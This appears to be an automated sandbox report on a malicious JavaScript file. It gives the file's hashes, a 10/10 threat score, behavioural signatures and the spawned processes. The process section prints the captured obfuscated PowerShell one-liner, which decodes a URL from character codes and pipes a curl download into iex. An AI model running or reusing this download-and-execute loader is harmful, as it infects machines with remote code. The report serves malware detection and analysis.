Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:48
General
-
Target
8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js
-
Size
196KB
-
MD5
3cca4f8f7f8b3686171c3dcccbda6f7a
-
SHA1
8bfb956c6e8c2825e8b0f2f3f329798b6a63a306
-
SHA256
8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb
-
SHA512
41d73fd8fb62099af9a67f760df046b7520e129e10558fd9bd1b154273fb2e944d5de65856fd21addca9414667cae5f8622b9a522db552fd91f3f7e6580e812e
-
SSDEEP
3072:n6R/BDhNMpsA+neBDhNopsA+nPpsA+nzBDhNTBDhNw:6R/CrtqrIry9e
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $cskowuamvy='ur' ;new-alias printout c$($cskowuamvy)l;$aopctlku=(9123,9134,9142,9126,9128,9123,9143,9142,9147,9080,9142,9076,9123,9071,9141,9136,9137,9072,9074,9071,9137,9129,9137,9088,9140,9086,9134,9130,9135,9141,9140,9075,9074);$igzdxb=('bronx','get-cmdlet');$htsbrycfi=$aopctlku;foreach($bxjsakcgh in $htsbrycfi){$wxhlnsgveiaj=$bxjsakcgh;$masybelui=$masybelui+[char]($wxhlnsgveiaj-9025);$eijzfcxpqgnua=$masybelui; $hrjkqlfmzas=$eijzfcxpqgnua};$xvkpsreufyct[2]=$hrjkqlfmzas;$iejywqbkprovgm='rl';$gbfyao=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hrjkqlfmzas)1⤵
- Process spawned unexpected child process